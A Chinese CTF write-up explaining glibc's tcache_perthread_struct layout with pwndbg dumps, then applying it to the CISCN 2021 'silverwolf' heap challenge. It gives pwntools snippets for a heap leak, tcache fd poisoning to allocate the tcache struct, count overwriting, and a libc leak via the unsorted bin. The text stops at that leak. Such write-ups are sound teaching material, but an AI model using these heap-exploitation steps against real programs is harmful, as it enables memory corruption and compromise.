tcache_perthread_struct 是GLIBC从2.27开始引入的机制,用于 add 有限的 chuank 数量,可以申请的 size 过小无法 free 到unsorted bin。
tcache的结构体定义
1 2 3 4 5
| typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
|
tcache_perthread_struct 在本质上是一个 0x250-0x290的堆结构
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/20gx 0x405000 0x405000: 0x0000000000000000 0x0000000000000251 0x405010: 0x0000000000000000 0x0000000000000000 0x405020: 0x0000000000000000 0x0000000000000000 0x405030: 0x0000000000000000 0x0000000000000000 0x405040: 0x0000000000000000 0x0000000000000000 0x405050: 0x0000000000000000 0x0000000000000000 0x405060: 0x0000000000000000 0x0000000000000000 0x405070: 0x0000000000000000 0x0000000000000000 0x405080: 0x0000000000000000 0x0000000000000000 0x405090: 0x0000000000000000 0x0000000000000000
|
假设这是我们的tcache_perthread_struct 的结构体内容
在0x405010 中的0x0000000000000000 可以分别对应为
如果现在我们申请一个0x80、0x60、0x40、0x20 大小的 chunk 并且释放则会变为
0x0100010001000100
0x01 |
0x00 |
0x01 |
0x00 |
0x01 |
0x00 |
0x01 |
0x00 |
0x80 |
0x70 |
0x60 |
0x50 |
0x40 |
0x30 |
0x20 |
0x10 |
每两个字节对应一个tcache 的 size 大小
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/20gx 0x405000 0x405000: 0x0000000000000000 0x0000000000000251 0x405010: 0x0100010001000100 0x0000000000000000 0x405020: 0x0000000000000000 0x0000000000000000 0x405030: 0x0000000000000000 0x0000000000000000 0x405040: 0x0000000000000000 0x0000000000000000 0x405050: 0x0000000000000000 0x0000000000405a20 0x405060: 0x0000000000000000 0x0000000000405a50 0x405070: 0x0000000000000000 0x0000000000405aa0 0x405080: 0x0000000000000000 0x0000000000405b10 0x405090: 0x0000000000000000 0x0000000000000000
|
从0x405050 开始存储对应大小 chunk 的地址信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pwndbg> x/20gx 0x405000 0x405000: 0x0000000000000000 0x0000000000000251 0x405010: 0x0100010001000100 0x0000000000000000 0x405020: 0x0000000000000000 0x0000000000000000 0x405030: 0x0000000000000000 0x0000000000000000 0x405040: 0x0000000000000000 0x0000000000000000 0x405050: 0x0000000000000000 0x0000000000405a20 0x405060: 0x0000000000000000 0x0000000000405a50 0x405070: 0x0000000000000000 0x0000000000405aa0 0x405080: 0x0000000000000000 0x0000000000405b10
|
利用
我们需要控制一个 chunk 的 fd 或者 bk 位于tcache_perthread_struct 的地址以便于我们申请出来进行修改里面的值
例题
[CISCN 2021 初赛]silverwolf RedLeaves

经典的增删改查

add 对 size 进行了大小的限制

只可以对 index 为 0 的 chunk 进行操作


因为在 add 中对输入的 size 大小进行了限制,且一直只能对 index 为 0 的 chunk 进行操作
所以我们可以利用tcache_perthread_struct 进行操作
第一步我们需要获取到 heap 的地址信息去计算出tcache_perthread_struct 对应的地址信息
我们只需要申请一个 chunk 并且 free 掉即可获取到 heap 的地址信息,
1 2 3 4 5 6 7 8 9 10 11 12
| add(0x78) delete() show() rl(b'Content: ') heap_base = u64(p.recv(6).ljust(8, b'\x00')) print(f'heap_base: {hex(heap_base)}') tcache_addr = heap_base - 0x11b0 print(f'tcache_addr: {hex(tcache_addr)}')
|
将tcache_addr 的地址+0x10 放入 fd 中(tcachebin 中存入的地址是 data 的地址,所以要将tcache_addr+0x10 后续 add 即可获取到tcache_addr 地址)
1 2 3 4
| edit(p64(heap_base + 0x10)) add(0x78) add(0x78) edit(p64(0) * 4 + p64(0x0000000700000000))
|
将tcache_addr 申请出来并且修改对应存放 0x250 数量的标志位改为 7
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/20gx 0x405000 0x405000: 0x0000000000000000 0x0000000000000251 0x405010: 0x0000000000000000 0x0000000000000000 0x405020: 0x0000000000000000 0x0000000000000000 0x405030: 0x0000000700000000 0x0000000000000000 0x405040: 0x0000000000000000 0x0000000000000000 0x405050: 0x0000000000000000 0x0000000000000000 0x405060: 0x0000000000000000 0x0000000000000000 0x405070: 0x0000000000000000 0x0000000000000000 0x405080: 0x0000000000000000 0x0000000000000000 0x405090: 0x0000000000000000 0x0000000000000000
|

我们将tcache_addr 申请出来的tcache_perthread_struct 结构体将其 free 掉(本身也是一个 0x250 大小的 chunk)
即可进入unsorted bin 进行泄露 libc 地址